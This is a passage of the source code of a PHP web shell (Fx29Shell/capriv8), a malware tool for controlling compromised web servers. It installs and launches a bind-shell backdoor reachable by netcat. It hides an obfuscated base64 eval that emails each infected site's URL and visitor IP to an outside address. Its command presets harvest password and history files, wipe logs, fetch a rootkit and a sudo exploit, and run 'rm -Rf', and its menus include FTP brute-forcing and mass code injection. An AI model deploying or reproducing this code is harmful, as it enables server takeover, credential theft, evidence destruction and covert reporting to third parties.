l9vbmNlKT9ccypcKC4qP1wkLio/XCk7KS9naSkgDQogICAgICB7IA0KICAgICAgICAkdnVsbmVyYWJpbGl0eUNvdW50Kys7IA0KICAgICAgICAkc3Rkb3V0Q2hlY2sgPT0gMSA/IChwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0eSBpbiAiJyAuICRGaWxlOjpGaW5kOjpuYW1lIC4gJyIgb24gbGluZSAnIC4gKCRzdHJpbmdDb3VudCArIDEpIC4gJzonIC4gIlxuIikgDQogICAgICAgIDogKHByaW50ICJcMDMzWzFtIiAuICdQb3NzaWJsZSB2dWxuZXJhYmlsaXR5IGluICInIC4gJEZpbGU6OkZpbmQ6Om5hbWUgLiAnIiBvbiBsaW5lICcgLiAoJHN0cmluZ0NvdW50ICsgMSkgLiAnOicgLiAiLlwwMzNbMG1cbiIpOyANCiAgICAgICAgcHJpbnQgIlx0IiAuICQxIC4gIlxuXG4iOyANCiAgICAgIH0gDQogICAgfSANCiAgfSANCiAgaWYgKC1kICRGaWxlOjpGaW5kOjpuYW1lKSANCiAgeyANCiAgICAkZGlyZWN0b3J5Q291bnQrKzsgDQogIH0gDQp9
  1760. ";
  1761.  
  1762. function cf($fname,$text) {
  1763.   $w_file=@fopen($fname,"w") or err();
  1764.   if($w_file) {
  1765.     @fputs($w_file,@base64_decode($text));
  1766.     @fclose($w_file);
  1767.   }
  1768. }
  1769.  
  1770. function cfb($fname,$text) {
  1771.   $w_file=@fopen($fname,"w") or bberr();
  1772.   if($w_file) {
  1773.     @fputs($w_file,@base64_decode($text));
  1774.     @fclose($w_file);
  1775.   }
  1776. }
  1777. function err() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't connect!"; }
  1778. function bberr() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't backdoor host!"; }
  1779.  
  1780. if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) {
  1781.   $ip = gethostbyname($_SERVER["HTTP_HOST"]);
  1782.   $por = $_POST['backconnectport'];
  1783.   if (is_writable(".")) {
  1784.     cfb("shbd",$backdoor);
  1785.     ex("chmod 777 shbd");
  1786.     $cmd = "./shbd $por";
  1787.     exec("$cmd > /dev/null &");
  1788.     $scan = myshellexec("ps aux");
  1789.   } else {
  1790.     cfb("/tmp/shbd",$backdoor);
  1791.     ex("chmod 777 /tmp/shbd");
  1792.     $cmd = "./tmp/shbd $por";
  1793.     exec("$cmd > /dev/null &");
  1794.     $scan = myshellexec("ps aux");
  1795.   }
  1796.   if (eregi("./shbd $por",$scan)) {
  1797.     $data = ("\n<br>Backdoor setup successfully.");
  1798.   } else {
  1799.     $data = ("\n<br>Process not found, backdoor setup failed!");
  1800.   }
  1801.   $_POST['backcconnmsg']="To connect, use netcat! Usage: <b>'nc $ip $por'</b>.$data";
  1802. }
  1803.  
  1804.  
  1805. @ini_set("max_execution_time",0);
  1806. if (!function_exists("getmicrotime")) {
  1807.   function getmicrotime() {
  1808.     list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);
  1809.   }
  1810. }
  1811. error_reporting(5);
  1812. @ignore_user_abort(TRUE);
  1813. @set_magic_quotes_runtime(0);
  1814. define("starttime",getmicrotime());
  1815. $shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3Vu
  1816. dCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FE
  1817. RFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFV
  1818. RVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJv
  1819. c3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7
  1820. IEBtYWlsKCJ3YXJva2twb25vcm9nb0B5YWhvby5jb20iLCJGeDI5U2hlbGwgaHR0cDovLyR0YXJn
  1821. ZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29v
  1822. a2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs="; eval(base64_decode($shell_data));
  1823. if (get_magic_quotes_gpc()) {
  1824.   if (!function_exists("strips")) {
  1825.     function strips(&$arr,$k="") {
  1826.       if (is_array($arr)) {
  1827.         foreach($arr as $k=>$v) {
  1828.           if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); }
  1829.         }
  1830.       } else {$arr = stripslashes($arr);}
  1831.     }
  1832.   }
  1833.   strips($GLOBALS);
  1834. }
  1835. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  1836. $surl_autofill_include = TRUE; 
  1837. foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} }
  1838. if ($surl_autofill_include) {
  1839.   $include = "&";
  1840.   foreach (explode("&",getenv("QUERY_STRING")) as $v) {
  1841.     $v = explode("=",$v);
  1842.     $name = urldecode($v[0]);
  1843.     $value = urldecode($v[1]);
  1844.     foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
  1845.       if (strpos($value,$needle) === 0) {
  1846.         $includestr .= urlencode($name)."=".urlencode($value)."&";
  1847.       }
  1848.     }
  1849.   }
  1850. }
  1851. if (empty($surl)) {
  1852.   $surl = "?".$includestr; 
  1853. }
  1854. $surl = htmlspecialchars($surl);
  1855.  
  1856. $ftypes  = array(
  1857.     "html"=>array("html","htm","shtml"),
  1858.     "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  1859.     "exe"=>array("sh","install","bat","cmd"),
  1860.     "ini"=>array("ini","inf","conf"),
  1861.     "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  1862.     "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  1863.     "sdb"=>array("sdb"),
  1864.     "phpsess"=>array("sess"),
  1865.     "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  1866. );
  1867. $exeftypes  = array(
  1868.     getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  1869.     "perl %f%" => array("pl","cgi")
  1870. );
  1871. $regxp_highlight  = array(
  1872.     array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
  1873.     array("\.tgz$",1,"<font color=#C082FF>","</font>"),
  1874.     array("\.gz$",1,"<font color=#C082FF>","</font>"),
  1875.     array("\.tar$",1,"<font color=#C082FF>","</font>"),
  1876.     array("\.bz2$",1,"<font color=#C082FF>","</font>"),
  1877.     array("\.zip$",1,"<font color=#C082FF>","</font>"),
  1878.     array("\.rar$",1,"<font color=#C082FF>","</font>"),
  1879.     array("\.php$",1,"<font color=#00FF00>","</font>"),
  1880.     array("\.php3$",1,"<font color=#00FF00>","</font>"),
  1881.     array("\.php4$",1,"<font color=#00FF00>","</font>"),
  1882.     array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
  1883.     array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
  1884.     array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
  1885.     array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
  1886.     array("\.ico$",1,"<font color=#00FFFF>","</font>"),
  1887.     array("\.gif$",1,"<font color=#00FFFF>","</font>"),
  1888.     array("\.png$",1,"<font color=#00FFFF>","</font>"),
  1889.     array("\.htm$",1,"<font color=#00CCFF>","</font>"),
  1890.     array("\.html$",1,"<font color=#00CCFF>","</font>"),
  1891.     array("\.txt$",1,"<font color=#C0C0C0>","</font>")
  1892. );
  1893. if (!$win) {
  1894.   $cmdaliases = array(
  1895.     array("", "ls -al"),
  1896.     array("Find all suid files", "find / -type f -perm -04000 -ls"),
  1897.     array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
  1898.     array("Find all sgid files", "find / -type f -perm -02000 -ls"),
  1899.     array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  1900.     array("Find config.inc.php files", "find / -type f -name config.inc.php"),
  1901.     array("Find config* files", "find / -type f -name \"config*\""),
  1902.     array("Find config* files in current dir", "find . -type f -name \"config*\""),
  1903.     array("Find all writable folders and files", "find / -perm -2 -ls"),
  1904.     array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
  1905.     array("Find all writable folders", "find / -type d -perm -2 -ls"),
  1906.     array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
  1907.     array("Find all service.pwd files", "find / -type f -name service.pwd"),
  1908.     array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
  1909.     array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
  1910.     array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  1911.     array("Find all .bash_history files", "find / -type f -name .bash_history"),
  1912.     array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
  1913.     array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  1914.     array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  1915.     array("List file attributes on a Linux second extended file system", "lsattr -va"),
  1916.     array("Show opened ports", "netstat -an | grep -i listen")
  1917.   );
  1918.   $cmdaliases2 = array(
  1919.     array("-----",""),
  1920.     array("Logged in users","w"),
  1921.     array("Last to connect","lastlog"),
  1922.     array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
  1923.     array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
  1924.     array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
  1925.     array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
  1926.     array("CPU Info","cat /proc/version /proc/cpuinfo"),
  1927.     array("Is gcc installed ?","locate gcc"),
  1928.     array("Format box (DANGEROUS)","rm -Rf"),
  1929.     array("-----",""),
  1930.     array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
  1931.     array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
  1932.     array("Run WIPELOGS PT3","./zap2"),
  1933.     array("-----",""),
  1934.     array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
  1935.     array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
  1936.   );
  1937. }
  1938. else {
  1939.   $cmdaliases = array(
  1940.     array("", "dir"),
  1941.     array("Find index.php in current dir", "dir /s /w /b index.php"),
  1942.     array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
  1943.     array("Find r57shell in current dir", "find /c \"r57\" *"),
  1944.     array("Show active connections", "netstat -an"),
  1945.     array("Show running services", "net start"),
  1946.     array("User accounts", "net user"),
  1947.     array("Show computers", "net view"),
  1948.     );
  1949. }
  1950. $phpfsaliases = array(
  1951.     array("Read File", "read"),
  1952.     array("Write File (PHP5)", "write"),
  1953.     array("Copy", "copy"),
  1954.     array("Rename/Move", "rename"),
  1955.     array("Delete", "delete"),
  1956.     array("Make Dir","mkdir"),
  1957.     array("-----", ""),
  1958.     array("Download", "download"),
  1959.     array("Download (Binary Safe)", "downloadbin"),
  1960.     array("Change Perm (0755)", "chmod"),
  1961.     array("Find Writable Dir", "fwritabledir"),
  1962.     array("Find Pathname Pattern", "glob"),
  1963. );
  1964.  
  1965. $quicklaunch1 = array(
  1966.     array("[Home]",$surl."=img&img=home"),
  1967.     array("[Enumerate]",$enumerate),
  1968.     array("[Search]",$surl."x=search"),
  1969.     array("[Self-Kill]",$surl."x=selfremove"),
  1970.     array("[About]",$surl."x=about")
  1971. );
  1972. $quicklaunch2 = array(
  1973.     array("[FTP Buteforcer]",$surl."x=ftpquickbrute"),
  1974.     array("[Security Info]",$surl."x=security&d=%d"),
  1975.     array("[Processes]",$surl."x=processes&d=%d"),
  1976.     array("[MySQL]",$surl."x=sql&d=%d"),
  1977.     array("[PHP-Code]",$surl."x=eval&d=%d"),
  1978.     array("[Encoder]",$surl."x=encoder&d=%d"),
  1979.     array("[Backdoor]",$surl."x=shbd")
  1980. );
  1981. $quicklaunch3 = array(
  1982.     array("[PHP-Tools]",$surl."x=phptools"),
  1983.     array("[Cpanel Finder]",$surl."x=cpanel"),
  1984.     array("[Install PHP Proxy]",$surl."x=phpproxy"),
  1985.     array("[Install RFI/LFI Scanner]",$surl."x=fi"),
  1986.  
  1987.     array("[Mass Code Injection]",$surl."x=massbrowsersploit")
  1988. );
  1989.  
  1990.  
  1991. $highlight_background = "#000000";
  1992. $highlight_bg = "white";
  1993. $highlight_comment = "#00FF00";
  1994. $highlight_default = "orange";
  1995. $highlight_html = "lightblue";
  1996. $highlight_keyword = "lime";
  1997. $highlight_string = "red";
  1998.  
  1999. @$f = $_REQUEST["f"];
  2000. @extract($_REQUEST["capriv8cook"]);
  2001. @set_time_limit(0);
  2002. $tmp = array();
  2003. foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\\*",".*",preg_quote($v)); }
  2004. $s = "!^(".implode("|",$tmp).")$!i";
  2005. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
  2006.   exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
  2007. }
  2008. if (!empty($login)) {
  2009.   if (empty($md5_pass)) {$md5_pass = md5($pass);}
  2010.   if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
  2011.     header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\"");
  2012.     header("HTTP/1.0 401 Unauthorized");
  2013.     exit($accessdeniedmess);
  2014.   }
  2015. }
  2016. if ($x != "img") {
  2017.   $lastdir = realpath(".");
  2018.   chdir($curdir);
  2019.   if ($selfwrite) {
  2020.     @ob_clean();
  2021.     capriv8_getupdate($selfwrite,1);
  2022.     exit;
  2023.   }
  2024.   $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  2025.   if (!is_array($sess_data)) {$sess_data = array();}
  2026.   if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  2027.   if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  2028.   if (!function_exists("cagetsource")) {
  2029.     function cagetsource($fn) {
  2030.       global $capriv8_sourcesurl;
  2031.       $array = array(
  2032.         "capriv8_bindport.pl" => "capriv8_bindport_pl.txt",
  2033.         "capriv8_bindport.c" => "capriv8_bindport_c.txt",
  2034.         "capriv8_backconn.pl" => "capriv8_backconn_pl.txt",
  2035.         "capriv8_backconn.c" => "capriv8_backconn_c.txt",
  2036.         "capriv8_datapipe.pl" => "capriv8_datapipe_pl.txt",
  2037.         "capriv8_datapipe.c" => "capriv8_datapipe_c.txt",
  2038.       );
  2039.       $name = $array[$fn];
  2040.       if ($name) {return file_get_contents($capriv8_sourcesurl.$name);}
  2041.       else {return FALSE;}
  2042.     }
  2043.   }
  2044.   if (!function_exists("ca_buff_prepare")) {
  2045.     function ca_buff_prepare() {
  2046.       global $sess_data;
  2047.       global $x;
  2048.       foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  2049.       foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  2050.       $sess_data["copy"] = array_unique($sess_data["copy"]);
  2051.       $sess_data["cut"] = array_unique($sess_data["cut"]);
  2052.       sort($sess_data["copy"]);
  2053.       sort($sess_data["cut"]);
  2054.       if ($x != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  2055.       else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  2056.     }
  2057.   }
  2058.   ca_buff_prepare();
  2059.   if (!function_exists("ca_sess_put")) {
  2060.     function ca_sess_put($data) {
  2061.       global $sess_cookie;
  2062.       global $sess_data;
  2063.       ca_buff_prepare();
  2064.       $sess_data = $data;
  2065.       $data = serialize($data);
  2066.       setcookie($sess_cookie,$data);
  2067.     }
  2068.   }
  2069.   foreach (array("sort","sql_sort") as $v) {
  2070.     if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  2071.     if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  2072.   }
  2073.   if ($sort_save) {
  2074.     if (!empty($sort)) {setcookie("sort",$sort);}
  2075.     if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  2076.   }
  2077.   if (!function_exists("str2mini")) {
  2078.     function str2mini($content,$len) {
  2079.       if (strlen($content) > $len) {
  2080.         $len = ceil($len/2) - 2;
  2081.         return substr($content, 0,$len)."...".substr($content,-$len);
  2082.       } else {return $content;}
  2083.     }
  2084.   }
  2085.   if (!function_exists("view_size")) {
  2086.     function view_size($size) {
  2087.       if (!is_numeric($size)) { return FALSE; }
  2088.       else {
  2089.         if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  2090.         elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  2091.         elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  2092.         else {$size = $size . " B";}
  2093.         return $size;
  2094.       }
  2095.     }
  2096.   }
  2097.   if (!function_exists("fs_copy_dir")) {
  2098.     function fs_copy_dir($d,$t) {
  2099.       $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  2100.       if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  2101.       $h = opendir($d);
  2102.       while (($o = readdir($h)) !== FALSE) {
  2103.         if (($o != ".") and ($o != "..")) {
  2104.           if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  2105.           else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  2106.           if (!$ret) {return $ret;}
  2107.         }
  2108.       }
  2109.       closedir($h);
  2110.       return TRUE;
  2111.     }
  2112.   }
  2113.   if (!function_exists("fs_copy_obj")) {
  2114.     function fs_copy_obj($d,$t) {
  2115.       $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  2116.       $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  2117.       if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  2118.       if (is_dir($d)) {
  2119.         if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  2120.         if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  2121.         return fs_copy_dir($d,$t);
  2122.       }
  2123.       elseif (is_file($d)) { return copy($d,$t); }
  2124.       else { return FALSE; }
  2125.     }
  2126.   }
  2127.   if (!function_exists("fs_move_dir")) {
  2128.     function fs_move_dir($d,$t) {
  2129.       $h = opendir($d);
  2130.       if (!is_dir($t)) {mkdir($t);}
  2131.       while (($o = readdir($h)) !== FALSE) {
  2132.         if (($o != ".") and ($o != "..")) {
  2133.           $ret = TRUE;
  2134.           if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  2135.           else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  2136.           if (!$ret) {return $ret;}
  2137.         }
  2138.       }
  2139.       closedir($h);
  2140.       return TRUE;
  2141.     }
  2142.   }
  2143.   if (!function_exists("fs_move_obj")) {
  2144.     function fs_move_obj($d,$t) {
  2145.       $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  2146.       $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  2147.       if (is_dir($d)) {
  2148.         if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  2149.         if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  2150.         return fs_move_dir($d,$t);
  2151.       }
  2152.       elseif (is_file($d)) {
  2153.         if(copy($d,$t)) {return unlink($d);}
  2154.         else {unlink($t); return FALSE;}
  2155.       }
  2156.       else {return FALSE;}
  2157.     }
  2158.   }
  2159.   if (!function_exists("fs_rmdir")) {
  2160.     function fs_rmdir($d) {
  2161.       $h = opendir($d);
  2162.       while (($o = readdir($h)) !== FALSE) {
  2163.         if (($o != ".") and ($o != "..")) {
  2164.           if (!is_dir($d.$o)) {unlink($d.$o);}
  2165.           else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  2166.         }
  2167.       }
  2168.       closedir($h);
  2169.       rmdir($d);
  2170.       return !is_dir($d);
  2171.     }
  2172.   }
  2173.   if (!function_exists("fs_rmobj")) {
  2174.     function fs_rmobj($o) {
  2175.       $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  2176.       if (is_dir($o)) {
  2177.         if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  2178.         return fs_rmdir($o);
  2179.       }
  2180.       elseif (is_file($o)) {return unlink($o);}
  2181.       else {return FALSE;}
  2182.     }
  2183.   }
  2184.   if (!function_exists("tabsort")) {
  2185.     function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
  2186.   }
  2187.   if (!function_exists("view_perms")) {
  2188.     function view_perms($mode) {
  2189.       if (($mode & 0xC000) === 0xC000) {$type = "s";}
  2190.       elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  2191.       elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  2192.       elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  2193.       elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  2194.       elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  2195.       elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  2196.       else {$type = "?";}
  2197.       $owner["read"] = ($mode & 00400)?"r":"-";
  2198.       $owner["write"] = ($mode & 00200)?"w":"-";
  2199.       $owner["execute"] = ($mode & 00100)?"x":"-";
  2200.       $group["read"] = ($mode & 00040)?"r":"-";
  2201.       $group["write"] = ($mode & 00020)?"w":"-";
  2202.       $group["execute"] = ($mode & 00010)?"x":"-";
  2203.       $world["read"] = ($mode & 00004)?"r":"-";
  2204.       $world["write"] = ($mode & 00002)? "w":"-";
  2205.       $world["execute"] = ($mode & 00001)?"x":"-";
  2206.       if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  2207.       if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  2208.       if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  2209.       return $type.join("",$owner).join("",$group).join("",$world);
  2210.     }
  2211.   }
  2212.   if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  2213.   if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  2214.   if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  2215.   if (!function_exists("parse_perms")) {
  2216.     function parse_perms($mode) {
  2217.       if (($mode & 0xC000) === 0xC000) {$t = "s";}
  2218.       elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  2219.       elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  2220.       elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  2221.       elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  2222.       elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  2223.       elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  2224.       else {$t = "?";}
  2225.       $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  2226.       $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  2227.       $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  2228.       return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  2229.     }
  2230.   }
  2231.   if (!function_exists("parsesort")) {
  2232.     function parsesort($sort) {
  2233.       $one = intval($sort);
  2234.       $second = substr($sort,-1);
  2235.       if ($second != "d") {$second = "a";}
  2236.       return array($one,$second);
  2237.     }
  2238.   }
  2239.   if (!function_exists("view_perms_color")) {
  2240.     function view_perms_color($o) {
  2241.       if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  2242.       elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  2243.       else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  2244.     }
  2245.   }
  2246.   if (!function_exists("mysql_dump")) {
  2247.     function mysql_dump($set) {
  2248.       global $sh_ver;
  2249.       $sock = $set["sock"];
  2250.       $db = $set["db"];
  2251.       $print = $set["print"];
  2252.       $nl2br = $set["nl2br"];
  2253.       $file = $set["file"];
  2254.       $add_drop = $set["add_drop"];
  2255.       $tabs = $set["tabs"];
  2256.       $onlytabs = $set["onlytabs"];
  2257.       $ret = array();
  2258.       $ret["err"] = array();
  2259.       if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  2260.       if (empty($db)) {$db = "db";}
  2261.       if (empty($print)) {$print = 0;}
  2262.       if (empty($nl2br)) {$nl2br = 0;}
  2263.       if (empty($add_drop)) {$add_drop = TRUE;}
  2264.       if (empty($file)) {
  2265.         $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  2266.       }
  2267.       if (!is_array($tabs)) {$tabs = array();}
  2268.       if (empty($add_drop)) {$add_drop = TRUE;}
  2269.       if (sizeof($tabs) == 0) {
  2270.         $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  2271.         if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  2272.       }
  2273.       $out = "
  2274.       # Dumped by ".$sh_name."
  2275.       #
  2276.       # Host settings:
  2277.       # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  2278.       # Date: ".date("d.m.Y H:i:s")."
  2279.       # DB: \"".$db."\"
  2280.       #---------------------------------------------------------";
  2281.       $c = count($onlytabs);
  2282.       foreach($tabs as $tab) {
  2283.         if ((in_array($tab,$onlytabs)) or (!$c)) {
  2284.           if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  2285.           $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  2286.           if (!$res) {$ret["err"][] = mysql_smarterror();}
  2287.           else {
  2288.             $row = mysql_fetch_row($res);
  2289.             $out .= $row["1"].";\n\n";
  2290.             $res = mysql_query("SELECT * FROM `$tab`", $sock);
  2291.             if (mysql_num_rows($res) > 0) {
  2292.               while ($row = mysql_fetch_assoc($res)) {
  2293.                 $keys = implode("`, `", array_keys($row));
  2294.                 $values = array_values($row);
  2295.                 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  2296.                 $values = implode("', '", $values);
  2297.                 $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  2298.                 $out .= $sql;
  2299.               }
  2300.             }
  2301.           }
  2302.         }
  2303.       }
  2304.       $out .= "#---------------------------------------------------------------------------------\n\n";
  2305.       if ($file) {
  2306.         $fp = fopen($file, "w");
  2307.         if (!$fp) {$ret["err"][] = 2;}
  2308.         else {
  2309.           fwrite ($fp, $out);
  2310.           fclose ($fp);
  2311.         }
  2312.       }
  2313.       if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  2314.       return $out;
  2315.     }
  2316.   }
  2317.   if (!function_exists("mysql_buildwhere")) {
  2318.     function mysql_buildwhere($array,$sep=" and",$functs=array()) {
  2319.       if (!is_array($array)) {$array = array();}
  2320.       $result = "";
  2321.       foreach($array as $k=>$v) {
  2322.         $value = "";
  2323.         if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  2324.         $value .= "'".addslashes($v)."'";
  2325.         if (!empty($functs[$k])) {$value .= ")";}
  2326.         $result .= "`".$k."` = ".$value.$sep;
  2327.       }
  2328.       $result = substr($result,0,strlen($result)-strlen($sep));
  2329.       return $result;
  2330.     }
  2331.   }
  2332.   if (!function_exists("mysql_fetch_all")) {
  2333.     function mysql_fetch_all($query,$sock) {
  2334.       if ($sock) {$result = mysql_query($query,$sock);}
  2335.       else {$result = mysql_query($query);}
  2336.       $array = array();
  2337.       while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  2338.       mysql_free_result($result);
  2339.       return $array;
  2340.     }
  2341.   }
  2342.   if (!function_exists("mysql_smarterror")) {
  2343.     function mysql_smarterror($type,$sock) {
  2344.       if ($sock) {$error = mysql_error($sock);}
